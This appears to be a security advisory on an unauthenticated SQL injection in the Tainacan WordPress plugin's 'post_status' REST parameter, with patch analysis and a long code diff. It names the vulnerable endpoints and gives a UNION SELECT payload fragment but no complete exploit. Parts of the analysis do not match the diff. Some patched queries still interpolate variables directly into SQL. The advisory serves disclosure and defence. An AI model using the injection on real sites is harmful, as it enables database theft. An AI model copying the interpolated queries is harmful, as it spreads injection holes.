Published : July 20, 2026

CVE-2026-42740: Tainacan <= 1.0.3 Unauthenticated SQL Injection PoC, Patch Analysis & Rule

Plugin tainacan
Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 1.0.3
Patched Version 1.1.0
Disclosed May 27, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-42740:
Tainacan plugin for WordPress versions up to and including 1.0.3 contains an unauthenticated SQL injection vulnerability. The flaw exists in the REST controller’s handling of the ‘post_status’ query parameter. An attacker can inject arbitrary SQL into database queries, leading to data extraction. The CVSS score is 7.5 (High).

The root cause is in the file ‘tainacan/classes/api/class-tainacan-rest-controller.php’. Lines 383-389 show that the ‘post_status’ parameter was registered without a ‘sanitize_callback’. The vulnerable code path is in the ‘get_items’ method of several REST controllers (e.g., ‘class-tainacan-rest-collections-controller.php’, ‘class-tainacan-rest-items-controller.php’). These methods pass user-supplied ‘post_status’ values directly into SQL queries via ‘wp_count_posts()’ and similar functions. The patch adds a ‘sanitize_callback’ (line 386-388) pointing to a new function ‘tainacan_sanitize_post_statuses’ (lines 735-776). This function validates input against allowed post statuses, preventing arbitrary SQL injection.

An attacker exploits this by sending a crafted request to a Tainacan REST API endpoint that accepts the ‘post_status’ parameter. For example, the endpoint ‘/wp-json/tainacan/v2/collections’ or ‘/wp-json/tainacan/v2/items’. The attacker supplies a malicious SQL payload as the ‘post_status’ value, such as ‘1=1 UNION SELECT …’. The plugin fails to sanitize the input before using it in SQL queries, allowing the attacker to extract sensitive data from the WordPress database.

The patch adds a ‘sanitize_callback’ to the ‘post_status’ parameter registration. The new function ‘tainacan_sanitize_post_statuses’ parses the input as a slug list, then validates each status against WordPress registered post statuses. If a status is not allowed, the function returns a WP_Error, blocking the request. Previously, the parameter was passed unsanitized into queries. The diff also shows additional hardening in other files (e.g., sanitization of status slugs in response headers, new REST routes for logs). However, the primary fix for CVE-2026-42740 is the input validation on ‘post_status.

Successful exploitation allows an unauthenticated attacker to extract sensitive data from the WordPress database. This includes user credentials (hashed passwords), private post content, configuration details, and other information stored in the database. The attacker can perform UNION-based SQL injection to retrieve arbitrary data from any table. The impact is severe as it compromises the confidentiality of the entire WordPress installation.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/tainacan/classes/api/class-tainacan-rest-controller.php
+++ b/tainacan/classes/api/class-tainacan-rest-controller.php
@@ -383,6 +383,7 @@
 				'enum'    => array_merge(array_keys(get_post_stati()), array('any')),
 				'type'    => 'string',
 			),
+			'sanitize_callback' => array( $this, 'tainacan_sanitize_post_statuses' ),
 		);

 		$query_params['offset'] = array(
@@ -731,4 +732,41 @@
 		return $schema;
 	}

+	/**
+	 * Sanitizes and validates a list of post statuses for use in REST requests.
+	 *
+	 * Accepts a list of status slugs (string or array). If it contains 'any',
+	 * returns all non-internal post statuses. Otherwise, validates each
+	 * status against those allowed by get_post_stati(); returns WP_Error if any
+	 * status is invalid.
+	 *
+	 * @param string|array $statuses   List of statuses (comma-separated string or array of slugs).
+	 * @param WP_REST_Request $request REST request object (not used in the current logic).
+	 * @param string $parameter        Parameter name in the request (not used in the current logic).
+	 *
+	 * @return array|WP_Error Array of valid status slugs or WP_Error if any status is not allowed.
+	 */
+	public function tainacan_sanitize_post_statuses( $statuses, $request, $parameter ) {
+		$statuses = wp_parse_slug_list( $statuses );
+		$allowStatuses = array_values(get_post_stati([]));
+		foreach ( $statuses as $status ) {
+			if ( $status === 'any' ) {
+				$allstatuses = get_post_stati(
+					['internal' => false]
+				);
+				return array_values($allstatuses);
+			} else {
+				if(!in_array($status, $allowStatuses)) {
+				return new WP_Error(
+					'rest_forbidden_status',
+					__( 'Status is forbidden.', 'tainacan' ),
+					array( 'status' => rest_authorization_required_code() )
+				);
+			}
+
+			}
+		}
+		return $statuses;
+	}
+
 }
--- a/tainacan/classes/api/endpoints/class-tainacan-rest-collections-controller.php
+++ b/tainacan/classes/api/endpoints/class-tainacan-rest-collections-controller.php
@@ -188,19 +188,21 @@
 		$rest_response->header('X-WP-Total', (int) $total_collections);
 		$rest_response->header('X-WP-TotalPages', (int) $max_pages);

-		$total_collections = wp_count_posts( 'tainacan-collection', 'readable' );
-
-		if (isset($total_collections->publish) ||
-			isset($total_collections->pending) ||
-			isset($total_collections->private) ||
-			isset($total_collections->trash) ||
-			isset($total_collections->draft)) {
-
-			$rest_response->header('X-Tainacan-total-collections-trash', $total_collections->trash);
-			$rest_response->header('X-Tainacan-total-collections-publish', $total_collections->publish);
-			$rest_response->header('X-Tainacan-total-collections-draft', $total_collections->draft);
-			$rest_response->header('X-Tainacan-total-collections-pending', $total_collections->pending);
-			$rest_response->header('X-Tainacan-total-collections-private', $total_collections->private);
+		// Per https://developer.wordpress.org/reference/functions/wp_count_posts/ — one property per registered
+		// status (core and custom). Header suffix must be a safe token; values are always integers.
+		$collection_status_counts = wp_count_posts( 'tainacan-collection', 'readable' );
+
+		if ( is_object( $collection_status_counts ) ) {
+			foreach ( get_object_vars( $collection_status_counts ) as $status_slug => $count ) {
+				$safe_slug = sanitize_key( (string) $status_slug );
+				if ( '' === $safe_slug ) {
+					continue;
+				}
+				$rest_response->header(
+					'X-Tainacan-total-collections-' . $safe_slug,
+					(int) $count
+				);
+			}
 		}

 		return $rest_response;
@@ -366,19 +368,20 @@
 				$item_arr['collection_taxonomies'] = $this->get_collection_taxonomies($item, $request['fetch_collection_taxonomies']);
 			}

-			$total_items = wp_count_posts( $item->get_db_identifier(), 'readable' );
+			$items_status_counts = wp_count_posts( $item->get_db_identifier(), 'readable' );

-			if (isset($total_items->publish) ||
-				isset($total_items->private) ||
-				isset($total_items->pending) ||
-			  	isset($total_items->trash) ||
-			   	isset($total_items->draft)) {
-
-				$item_arr['total_items']['trash'] = $total_items->trash;
-				$item_arr['total_items']['publish'] = $total_items->publish;
-				$item_arr['total_items']['draft'] = $total_items->draft;
-				$item_arr['total_items']['private'] = $total_items->private;
-				$item_arr['total_items']['pending'] = $total_items->pending;
+			if ( is_object( $items_status_counts ) ) {
+				$total_items_by_status = [];
+				foreach ( get_object_vars( $items_status_counts ) as $status_slug => $count ) {
+					$safe_slug = sanitize_key( (string) $status_slug );
+					if ( '' === $safe_slug ) {
+						continue;
+					}
+					$total_items_by_status[ $safe_slug ] = (int) $count;
+				}
+				if ( ! empty( $total_items_by_status ) ) {
+					$item_arr['total_items'] = $total_items_by_status;
+				}
 			}

 			// Clear private metadata from metadata_order
--- a/tainacan/classes/api/endpoints/class-tainacan-rest-importers-controller.php
+++ b/tainacan/classes/api/endpoints/class-tainacan-rest-importers-controller.php
@@ -258,7 +258,8 @@
 		$response = [
 			'source_metadata' => false,
 			'source_total_items' => false,
-			'source_special_fields' => false
+			'source_special_fields' => false,
+			'source_file_name' => false
 		];

 		if ( method_exists($importer, 'get_source_metadata') ) {
@@ -272,6 +273,11 @@
 		if ( method_exists($importer, 'get_source_special_fields') ) {
 			$response['source_special_fields'] = $importer->get_source_special_fields();
 		}
+
+		if ( method_exists($importer, 'get_source_file_name') ) {
+			$response['source_file_name'] = $importer->get_source_file_name();
+		}
+
 		$Tainacan_Importer_Handler->save_importer_instance($importer);
 		return new WP_REST_Response( $response, 200 );

--- a/tainacan/classes/api/endpoints/class-tainacan-rest-items-controller.php
+++ b/tainacan/classes/api/endpoints/class-tainacan-rest-items-controller.php
@@ -550,7 +550,8 @@

 				$filter_id = empty($filter) ? false : $filter[0]->get_id();
 				$filter_order_index = isset($order) && $order ? array_search( $filter_id, array_column( $order, 'id' ) ) :  false;
-				if ( !empty($filter_order_index) && $order[$filter_order_index]['enabled'] == true) {
+
+				if ( $filter_order_index !== false && $order[$filter_order_index]['enabled'] == true) {
 					$f = $filter[0]->_toArray();
 					$filter_type_component = $filter[0]->get_filter_type_object()->get_component();
 					$m = $f['metadatum'];
--- a/tainacan/classes/api/endpoints/class-tainacan-rest-logs-controller.php
+++ b/tainacan/classes/api/endpoints/class-tainacan-rest-logs-controller.php
@@ -95,6 +95,29 @@
 				'schema'                  => [$this, 'get_list_schema']
 			)
 		);
+		register_rest_route($this->namespace, '/item/(?P<item_id>[d]+)/metadata/(?P<metadatum_id>[d]+)/' . $this->rest_base,
+			array(
+				array(
+					'methods'             => WP_REST_Server::READABLE,
+					'callback'            => array($this, 'get_items'),
+					'permission_callback' => array($this, 'get_items_permissions_check'),
+					'args'                => array_merge(
+						array(
+							'item_id' => array(
+								'description' => __( 'Item ID', 'tainacan' ),
+								'required' => true,
+							),
+							'metadatum_id' => array(
+								'description' => __( 'Metadatum ID', 'tainacan' ),
+								'required' => true,
+							),
+						),
+						$this->get_endpoint_args_for_item_schema( WP_REST_Server::READABLE)
+					)
+				),
+				'schema'                  => [$this, 'get_list_schema']
+			)
+		);
 		register_rest_route($this->namespace, '/filter/(?P<filter_id>[d]+)/' . $this->rest_base,
 			array(
 				array(
@@ -174,7 +197,7 @@
 	}

 	/**
-	 * @param mixed $item
+	 * @param TainacanEntitiesLog $item
 	 * @param WP_REST_Request $request
 	 *
 	 * @return array|WP_Error|WP_REST_Response
@@ -187,8 +210,7 @@
 				return $this->prepare_legacy_item_for_response($item, $request);
 			}

-			if ($request['log_id']) {
-
+			if ( isset($request['format_diffs']) && $request['format_diffs'] == true ) {

 				$item_array = $item->_toArray();

@@ -287,6 +309,7 @@
 		return $item;
 	}

+	// @deprecated
 	private function prepare_legacy_item_for_response($item, $request) {
 		if(!isset($request['fetch_only'])) {
 			$item_array = $item->_toArray();
@@ -315,6 +338,9 @@

 		if ($request['item_id']) {
 			$args['item_id'] = $request['item_id'];
+			if(isset($request['metadatum_id'])) {
+				$args['object_id'] = $request['metadatum_id'];
+			}
 		} elseif ($request['collection_id']) {
 			$args['collection_id'] = $request['collection_id'];
 		} elseif ($request['filter_id']) {
@@ -332,23 +358,34 @@
 		}

 		$logs = RepositoriesLogs::get_instance()->fetch($args);
-
 		$response = [];
-
-		if($logs->have_posts()){
-			while ($logs->have_posts()){
-				$logs->the_post();
-
-				$log = new EntitiesLog($logs->post);
-
-				array_push($response, $this->prepare_item_for_response($log, $request));
+		$total_logs = 0;
+		/**
+		 * Temporary fallback for sites that cannot run the WP-CLI log migration command.
+		 * The TAINACAN_USE_DEPRECATED_LOGS constant must be manually defined in wp-config.php to enable this behavior.
+		 * This block will be removed in future versions once legacy support is discontinued.
+		 *
+		 */
+		if (!defined('TAINACAN_USE_DEPRECATED_LOGS') || TAINACAN_USE_DEPRECATED_LOGS !== false) {
+			if($logs->have_posts()){
+				while ($logs->have_posts()){
+					$logs->the_post();
+					$log = new EntitiesLog($logs->post);
+					array_push($response, $this->prepare_item_for_response($log, $request));
+				}
+				wp_reset_postdata();
+			}
+			$total_logs  = $logs->found_posts;
+		} else {
+			$total_logs = RepositoriesLogs::get_instance()->fetch_count($args);
+			if($logs) {
+				foreach($logs as $log) {
+					array_push($response, $this->prepare_item_for_response($log, $request));
+				}
 			}
-
-			wp_reset_postdata();
 		}

-		$total_logs  = $logs->found_posts;
-		$max_pages = ceil($total_logs / (int) $logs->query_vars['posts_per_page']);
+		$max_pages = ceil($total_logs / (int) $args['posts_per_page'] ?? 12);

 		$rest_response = new WP_REST_Response($response, 200);

--- a/tainacan/classes/api/endpoints/class-tainacan-rest-metadata-controller.php
+++ b/tainacan/classes/api/endpoints/class-tainacan-rest-metadata-controller.php
@@ -340,8 +340,22 @@

 				if(isset($item_arr['metadata_type_options']) && isset($item_arr['metadata_type_options']['children_objects'])) {
 					foreach ($item_arr['metadata_type_options']['children_objects'] as $index => $children) {
+
 						$item_arr['metadata_type_options']['children_objects'][$index]['current_user_can_edit'] = $item->can_edit();
 						$item_arr['metadata_type_options']['children_objects'][$index]['current_user_can_delete'] = $item->can_delete();
+
+						/**
+						 * Use this filter to add additional post_meta to the api response
+						 * Use the $request object to get the context of the request and other variables
+						 * For example, id context is edit, you may want to add your meta or not.
+						 *
+						 * Also take care to do any permissions verification before exposing the data
+						 */
+						$extra_metadata = apply_filters('tainacan-api-response-metadatum-meta', [], $request);
+
+						foreach ($extra_metadata as $extra_meta) {
+							$item_arr['metadata_type_options']['children_objects'][$index][$extra_meta] = get_post_meta($item_arr['metadata_type_options']['children_objects'][$index]['id'], $extra_meta, true);
+						}
 					}
 				}
 			}
--- a/tainacan/classes/api/endpoints/class-tainacan-rest-reports-controller.php
+++ b/tainacan/classes/api/endpoints/class-tainacan-rest-reports-controller.php
@@ -719,19 +719,39 @@
 				'start' => $end->sub(new DateInterval('P1Y1D'))->format('Y-m-d H:i:s')
 			];
 		}
-		$collection_from = "";
+
 		$start = $interval['start'];
 		$end = $interval['end'];
-		if($collection_id !== false) {
-			$collection_from = "INNER JOIN $wpdb->postmeta pm ON p.id = pm.post_id AND (pm.meta_key = %s AND pm.meta_value = %s)";
-			$collection_from = $wpdb->prepare($collection_from, 'collection_id', sanitize_text_field($collection_id));
+		/**
+		 * Temporary fallback for sites that cannot run the WP-CLI log migration command.
+		 * The TAINACAN_USE_DEPRECATED_LOGS constant must be manually defined in wp-config.php to enable this behavior.
+		 * This block will be removed in future versions once legacy support is discontinued.
+		 *
+		 */
+		if (!defined('TAINACAN_USE_DEPRECATED_LOGS') || TAINACAN_USE_DEPRECATED_LOGS !== false) {
+			$collection_from = "";
+			if($collection_id !== false) {
+				$collection_from = "INNER JOIN $wpdb->postmeta pm ON p.id = pm.post_id AND (pm.meta_key = %s AND pm.meta_value = %s)";
+				$collection_from = $wpdb->prepare($collection_from, 'collection_id', sanitize_text_field($collection_id));
+			}
+			$sql_statement = $wpdb->prepare(
+				"SELECT count(*) as total, DATE(p.post_date) as date
+				FROM $wpdb->posts p $collection_from
+				WHERE p.post_type='tainacan-log' AND p.post_date BETWEEN '$start' AND '$end'
+				GROUP BY DATE(p.post_date)
+				ORDER BY DATE(p.post_date)", []
+			);
+			return $wpdb->get_results($sql_statement);
 		}
+
+		$tainacan_log_table = RepositoriesLogs::get_instance()->get_table_name();
+		$collection_where =  $collection_id == false ? '1=1' : "collection_id=$collection_id";
 		$sql_statement = $wpdb->prepare(
-			"SELECT count(DISTINCT (unix_timestamp(p.post_date) DIV 60)) as total, DATE(p.post_date) as date
-			FROM $wpdb->posts p $collection_from
-			WHERE p.post_type='tainacan-log' AND p.post_date BETWEEN '$start' AND '$end'
-			GROUP BY DATE(p.post_date)
-			ORDER BY DATE(p.post_date)", []
+			"SELECT count(*) as total, DATE(p.date) as date
+			FROM $tainacan_log_table p
+			WHERE p.date BETWEEN '$start' AND '$end' AND ($collection_where)
+			GROUP BY DATE(p.date)
+			ORDER BY DATE(p.date)", []
 		);
 		return $wpdb->get_results($sql_statement);
 	}
@@ -745,20 +765,36 @@
 				'start' => $end->sub(new DateInterval('P1Y1D'))->format('Y-m-d H:i:s')
 			];
 		}
-		$collection_from = "";
+
 		$start = $interval['start'];
 		$end = $interval['end'];
-		if($collection_id !== false) {
-			$collection_from = "INNER JOIN $wpdb->postmeta pm ON p.id = pm.post_id AND (pm.meta_key = %s AND pm.meta_value = %s)";
-			$collection_from = $wpdb->prepare($collection_from, 'collection_id', sanitize_text_field($collection_id));
+		$sql_statement = "";
+		if (!defined('TAINACAN_USE_DEPRECATED_LOGS') || TAINACAN_USE_DEPRECATED_LOGS !== false) {
+			$collection_from = "";
+			if($collection_id !== false) {
+				$collection_from = "INNER JOIN $wpdb->postmeta pm ON p.id = pm.post_id AND (pm.meta_key = %s AND pm.meta_value = %s)";
+				$collection_from = $wpdb->prepare($collection_from, 'collection_id', sanitize_text_field($collection_id));
+			}
+			$sql_statement = $wpdb->prepare(
+				"SELECT p.post_author  as user_id, count(*) as total, DATE(p.post_date) as date
+				FROM $wpdb->posts p $collection_from
+				WHERE p.post_type='tainacan-log' AND p.post_date BETWEEN '$start' AND '$end'
+				GROUP BY p.post_author, DATE(p.post_date)
+				ORDER BY DATE(p.post_date)", []
+			);
+		} else {
+			$tainacan_log_table = RepositoriesLogs::get_instance()->get_table_name();
+			$collection_where =  $collection_id == false ? '1=1' : "collection_id=$collection_id";
+			$sql_statement = $wpdb->prepare(
+				"SELECT p.user_id, count(*) as total, DATE(p.date) as date
+				FROM $tainacan_log_table p
+				WHERE p.date BETWEEN '$start' AND '$end' AND ($collection_where)
+				GROUP BY p.user_id, DATE(p.date)
+				ORDER BY DATE(p.date)", []
+			);
 		}
-		$sql_statement = $wpdb->prepare(
-			"SELECT p.post_author  as user_id, count(DISTINCT (unix_timestamp(p.post_date) DIV 60)) as total, DATE(p.post_date) as date
-			FROM $wpdb->posts p $collection_from
-			WHERE p.post_type='tainacan-log' AND p.post_date BETWEEN '$start' AND '$end'
-			GROUP BY p.post_author, DATE(p.post_date)
-			ORDER BY DATE(p.post_date)", []
-		);
+
+
 		$data =$wpdb->get_results($sql_statement);
 		$arr = array();
 		$avatar_sizes = rest_get_avatar_sizes();
@@ -792,20 +828,34 @@

 	private function get_activities_users($collection_id = false) {
 		global $wpdb;
-		$collection_from = "";
-		if($collection_id !== false) {
-			$collection_from = "INNER JOIN {$wpdb->postmeta} pm_col ON p.id = pm_col.post_id AND (pm_col.meta_key = %s AND pm_col.meta_value = %s)";
-			$collection_from = $wpdb->prepare($collection_from, 'collection_id', sanitize_text_field($collection_id));
+		$sql_statement = "";
+		if (!defined('TAINACAN_USE_DEPRECATED_LOGS') || TAINACAN_USE_DEPRECATED_LOGS !== false) {
+			$collection_from = "";
+			if($collection_id !== false) {
+				$collection_from = "INNER JOIN {$wpdb->postmeta} pm_col ON p.id = pm_col.post_id AND (pm_col.meta_key = %s AND pm_col.meta_value = %s)";
+				$collection_from = $wpdb->prepare($collection_from, 'collection_id', sanitize_text_field($collection_id));
+			}
+			$sql_statement = $wpdb->prepare(
+				"SELECT	count(*) as total, p.post_author as user, pm.meta_value as action
+				FROM $wpdb->posts p
+				INNER JOIN $wpdb->postmeta pm ON p.id = pm.post_id AND pm.meta_key = 'action'
+				$collection_from
+				WHERE p.post_type='tainacan-log'
+				GROUP BY p.post_author, pm.meta_value
+				ORDER BY total DESC", []
+			);
+		} else {
+			$tainacan_log_table = RepositoriesLogs::get_instance()->get_table_name();
+			$collection_where =  $collection_id == false ? '1=1' : "collection_id=$collection_id";
+			$sql_statement = $wpdb->prepare(
+				"SELECT	count(*) as total, p.user_id as user, p.action as action
+				FROM $tainacan_log_table p
+				WHERE $collection_where
+				GROUP BY p.user_id, p.action
+				ORDER BY total DESC", []
+			);
 		}
-		$sql_statement = $wpdb->prepare(
-			"SELECT	count(DISTINCT (unix_timestamp(p.post_date) DIV 60)) as total, p.post_author as user, pm.meta_value as action
-			FROM $wpdb->posts p
-			INNER JOIN $wpdb->postmeta pm ON p.id = pm.post_id AND pm.meta_key = 'action'
-			$collection_from
-			WHERE p.post_type='tainacan-log'
-			GROUP BY p.post_author, pm.meta_value
-			ORDER BY total DESC", []
-		);
+
 		$results = $wpdb->get_results($sql_statement);
 		$response = [];
 		$avatar_sizes = rest_get_avatar_sizes();
--- a/tainacan/classes/api/endpoints/class-tainacan-rest-taxonomies-controller.php
+++ b/tainacan/classes/api/endpoints/class-tainacan-rest-taxonomies-controller.php
@@ -366,19 +366,19 @@
 		$rest_response->header('X-WP-Total', $total_taxonomies);
 		$rest_response->header('X-WP-TotalPages', (int) $max_pages);

-		$total_taxonomies = wp_count_posts( 'tainacan-taxonomy', 'readable' );
+		$taxonomy_status_counts = wp_count_posts( 'tainacan-taxonomy', 'readable' );

-		if (isset($total_taxonomies->publish) ||
-		    isset($total_taxonomies->private) ||
-		    isset($total_taxonomies->pending) ||
-		    isset($total_taxonomies->trash) ||
-		    isset($total_taxonomies->draft)) {
-
-			$rest_response->header('X-Tainacan-total-taxonomies-trash', $total_taxonomies->trash);
-			$rest_response->header('X-Tainacan-total-taxonomies-publish', $total_taxonomies->publish);
-			$rest_response->header('X-Tainacan-total-taxonomies-draft', $total_taxonomies->draft);
-			$rest_response->header('X-Tainacan-total-taxonomies-private', $total_taxonomies->private);
-			$rest_response->header('X-Tainacan-total-taxonomies-pending', $total_taxonomies->pending);
+		if ( is_object( $taxonomy_status_counts ) ) {
+			foreach ( get_object_vars( $taxonomy_status_counts ) as $status_slug => $count ) {
+				$safe_slug = sanitize_key( (string) $status_slug );
+				if ( '' === $safe_slug ) {
+					continue;
+				}
+				$rest_response->header(
+					'X-Tainacan-total-taxonomies-' . $safe_slug,
+					(int) $count
+				);
+			}
 		}

 		return $rest_response;
--- a/tainacan/classes/background-process/importer/class-tainacan-csv.php
+++ b/tainacan/classes/background-process/importer/class-tainacan-csv.php
@@ -89,6 +89,13 @@
 		return [];
 	}

+	public function get_source_file_name() {
+		if (isset($this->tmp_file) && file_exists($this->tmp_file) && ($handle = fopen($this->tmp_file, "r")) !== false) {
+			return basename($this->tmp_file);
+		}
+		return false;
+	}
+
 	public function get_source_special_fields() {
 		if (($handle = fopen($this->tmp_file, "r")) !== false) {
 			if ( $this->get_option('enclosure') && strlen($this->get_option('enclosure')) > 0 ) {
--- a/tainacan/classes/background-process/importer/class-tainacan-test-importer.php
+++ b/tainacan/classes/background-process/importer/class-tainacan-test-importer.php
@@ -349,7 +349,7 @@
 	public function create_taxonomies() {

 		$tax1 = new EntitiesTaxonomy();
-		$tax1->set_name('Terms for taxonomy metadata');
+		$tax1->set_name( esc_html__('Terms for taxonomy metadata', 'tainacan') );
 		$tax1->set_allow_insert('yes');
 		$tax1->set_status('publish');

@@ -377,7 +377,7 @@
 	public function create_collections() {

 		$col1 = new EntitiesCollection();
-		$col1->set_name('Collection test 1');
+		$col1->set_name(esc_html__('Collection test 1', 'tainacan'));
 		$col1->set_status('publish');
 		if ($col1->validate()) {
 			$col1 = $this->col_repo->insert($col1);
@@ -498,7 +498,7 @@
 		// if collection 2 is allowed to be created
 		if( $this->get_option('second_collection') === 'yes' ){
 			$col2 = new EntitiesCollection();
-			$col2->set_name('Collection test 2');
+			$col2->set_name(esc_html__('Collection test 2', 'tainacan'));
 			$col2->set_status('publish');
 			if ($col2->validate()) {
 				$col2 = $this->col_repo->insert($col2);
@@ -519,7 +519,7 @@
 			$col2_map[$col2_core_description->get_id()] = 'field2';

 			$metadatum = new EntitiesMetadatum();
-			$metadatum->set_name('Test Metadatum');
+			$metadatum->set_name(esc_html__('Test Metadatum', 'tainacan'));
 			$metadatum->set_collection($col2);
 			$metadatum->set_metadata_type('TainacanMetadata_TypesText');
 			$metadatum->set_status('publish');
@@ -543,7 +543,7 @@

 			// Create Relationship
 			$metadatum = $this->create_metadata( [
-				'name' => 'Relationship type',
+				'name' => esc_html__('Relationship type', 'tainacan'),
 				'type' => 'TainacanMetadata_TypesRelationship',
 				'options' => [
 				'collection_id' => $col2->get_id(),
@@ -750,8 +750,8 @@
 		];

 		$array = [
-			'field1' => 'Title ' . $index,
-			'field2' => 'Description ' . $index,
+			'field1' => esc_html__('Title', 'tainacan') . ' ' . $index,
+			'field2' => esc_html__('Description', 'tainacan') . ' ' . $index,
 			'field3' => $terms_for_taxonomy1[array_rand($terms_for_taxonomy1)],
 			'field4' => $this->selectbox_values[array_rand($this->selectbox_values)],
 			'field5' => $this->date_values[array_rand($this->date_values)],
@@ -777,8 +777,8 @@

 	public function get_col2_item($index) {
 		return [
-			'field1' => 'Collection 2 item ' . $index,
-			'field2' => 'Collection 2 item description ' . $index,
+			'field1' => esc_html__('Collection 2 item', 'tainacan') . ' ' . $index,
+			'field2' => esc_html__('Collection 2 item description', 'tainacan') . ' ' . $index,
 			'field3' => 'Collection 2 whatever ' . $index,
 		];
 	}
--- a/tainacan/classes/class-tainacan-bulk-edit.php
+++ b/tainacan/classes/class-tainacan-bulk-edit.php
@@ -1,754 +0,0 @@
-<?php
-
-/**
- * This is the old Bulk Edit approach that performs SQL queries directly into the database
- * It was disabled in favor of Bulk edit BG process approach
- *
- * Its is still here because there is an idea to use it via WP CLI command
- * If we do this someday, there are also tests written in __test-bulk-edit.php file
- */
-
-namespace Tainacan;
-
-defined( 'ABSPATH' ) or die( 'No script kiddies please!' );
-
-use TainacanRepositories;
-use TainacanEntities;
-
-/**
- * Bulk_Edit class handles bulk item edition
- */
-class __Bulk_Edit  {
-
-	private $meta_key = '_tnc_bulk';
-
-	/**
-	 * The ID of the current bulk edition group.
-	 * @var string
-	 */
-	private $id;
-
-	/**
-	 * Initializes a bulk edit object
-	 *
-	 * This object have an ID that identifies the group of selected items that are to be affected by the changes.
-	 *
-	 * When itialized it adds a postmeta to the posts of these groups so they can be easily fetched as a group in all operations.
-	 *
-	 * The object can be initialized in three different ways:
-	 * 1. passing an array of Items IDs, using the items_ids params
-	 * 2. passing a query array, that will be passed to the fetch method of items repository to create the group  (in this case you also need to specify the collection ID)
-	 * 3. passing an group ID, generated by this class in a previous initialization using one of the methods above.
-	 *
-	 * When initializing using methods 1 or 2, controllers should then call the get_id() method and store it if they want to perform future requests that wil affect this same group of items
-	 *
-	 * Note: if the ID paramater is passed, other paramaters will be ignored.
-	 *
-	 * @param  array $params {
-	 *
-	 *        Initialization paramaters
-	 *
-	 * @type int $collection_id The items collection ID. Required if initializing using a query search
-	 * @type array $query The query paramaters used to fetch items that will be part of this bulk edit group
-	 * @type array $items_ids an array containing the IDs of items that will be part of this bulk edit group
-	 * @type array $options an array containing additional options for this bulk edit group (currently used to store sorting information)
-	 * @type string $id The ID of the Bulk edit group.
-	 *
-	 * }
-	 * @throws Exception
-	 */
-	public function __construct($params) {
-
-		throw new Exception('This Class is currently disabled');
-
-		if (isset($params['id']) && !empty($params['id'])) {
-			$this->id = $params['id'];
-			return;
-		}
-
-		global $wpdb;
-
-		$id = uniqid();
-		$this->id = $id;
-
-		if (isset($params['query']) && is_array($params['query'])) {
-
-			if (!isset($params['collection_id']) || !is_numeric($params['collection_id'])) {
-				throw new Exception('Collection ID must be specified when creating a group via query');
-			}
-
-			/**
-			 * Here we use the fetch method to parse the parameter and use WP_Query
-			 *
-			 * However, we add a filter so the query is not executed. We just want WP_Query to build it for us
-			 * and then we can use it to INSERT the postmeta with the bulk group ID
-			 */
-
-			// this avoids wp_query to run the query. We just want to build the query
-			add_filter('posts_pre_query', '__return_empty_array');
-
-			// this adds the meta key and meta value to the SELECT query so it can be used directly in the INSERT below
-			add_filter('posts_fields_request', [$this, 'add_fields_to_query'], 10, 2);
-
-			$itemsRepo = RepositoriesItems::get_instance();
-			$params['query']['fields'] = 'ids';
-			$items_query = $itemsRepo->fetch($params['query'], $params['collection_id']);
-
-			remove_filter('posts_pre_query', '__return_empty_array');
-			remove_filter('posts_fields_request', [$this, 'add_fields_to_query']);
-
-			$wpdb->query( "INSERT INTO $wpdb->postmeta (post_id, meta_key, meta_value) {$items_query->request}" );
-
-			$bulk_params = [
-				'orderby' => isset($params['query']['orderby']) ? $params['query']['orderby'] : 'post_date',
-				'order' => isset($params['query']['order']) ? $params['query']['order'] : 'DESC'
-			];
-
-		} elseif (isset($params['items_ids']) && is_array($params['items_ids'])) {
-			$items_ids = array_filter($params['items_ids'], 'is_integer');
-
-			$insert_q = '';
-			foreach ($items_ids as $item_id) {
-				$insert_q .= $wpdb->prepare( "(%d, %s, %s),", $item_id, $this->meta_key, $this->get_id() );
-			}
-			$insert_q = rtrim($insert_q, ',');
-
-			$wpdb->query( "INSERT INTO $wpdb->postmeta (post_id, meta_key, meta_value) VALUES $insert_q" );
-
-			$bulk_params = [
-				'orderby' => isset($params['options']['orderby']) ? $params['options']['orderby'] : 'post_date',
-				'order' => isset($params['options']['order']) ? $params['options']['order'] : 'DESC'
-			];
-
-		}
-
-		/**
-		* This is stored to be used by the get_sequence_item_by_index() method, which is used
-		* by the sequence edit routine.
-		*
-		* For everything else, the order does not matter...
-		*/
-		$this->save_options($bulk_params);
-
-		return;
-
-	}
-
-	/**
-	 * Internally used to filter WP_Query and build the INSERT statement.
-	 * Must be public because it is registered as a filter callback
-	 */
-	public function add_fields_to_query($fields, $wp_query) {
-		global $wpdb;
-		if ( $wp_query->get('fields') == 'ids' ) { // just to make sure we are in the right query
-			$fields .= $wpdb->prepare( ", %s, %s", $this->meta_key, $this->get_id() );
-		}
-		return $fields;
-	}
-
-	/**
-	 * Get the current group ID
-	 * @return string the group ID
-	 */
-	public function get_id() {
-		return $this->id;
-	}
-
-	/**
-	* return the number of items selected in the current bulk group
-	* @return int number of items in the group
-	*/
-	public function count_posts() {
-		global $wpdb;
-		$id = $this->get_id();
-		if (!empty($id)) {
-			return (int) $wpdb->get_var( $wpdb->prepare("SELECT COUNT(post_id) FROM $wpdb->postmeta WHERE meta_key = %s AND meta_value = %s", $this->meta_key, $id) );
-		}
-		return 0;
-	}
-
-	/**
-	 * Gets the id of the item in a given position inside the group
-	 *
-	 * @param int $index THe position of the index to search for. From 1 to the length of the group
-	 * @return int|bool Returns the ID of the item or false if the index is out of range
-	 */
-	public function get_item_id_by_index($index) {
-
-		if (!is_int($index)) {
-			throw new InvalidArgumentException('get_item_id_by_index function only accepts integers. Input was: '.$index);
-		}
-
-		$options = $this->get_options();
-		$query = [
-			'meta_query' => [
-				[
-					'key' => $this->meta_key,
-					'value' => $this->get_id()
-				]
-			],
-			'fields' => 'ids',
-			'post_type' => TainacanRepositoriesRepository::get_collections_db_identifiers(),
-			'posts_per_page' => 1,
-			'paged' => $index,
-			'orderby' => $options['orderby'],
-			'order' => $options['order'],
-			'post_status' => 'any'
-		];
-
-		$object = new WP_Query($query);
-
-		if ( $object->have_posts() && isset($object->posts) && is_array($object->posts) && isset($object->posts[0]) && is_integer($object->posts[0]) ) {
-			return $object->posts[0];
-		}
-
-		return false;
-	}
-
-	public function save_options($value) {
-		update_option('tainacan_bulk_' . $this->get_id(), $value);
-	}
-
-	public function get_options() {
-		return get_option('tainacan_bulk_' . $this->get_id());
-	}
-
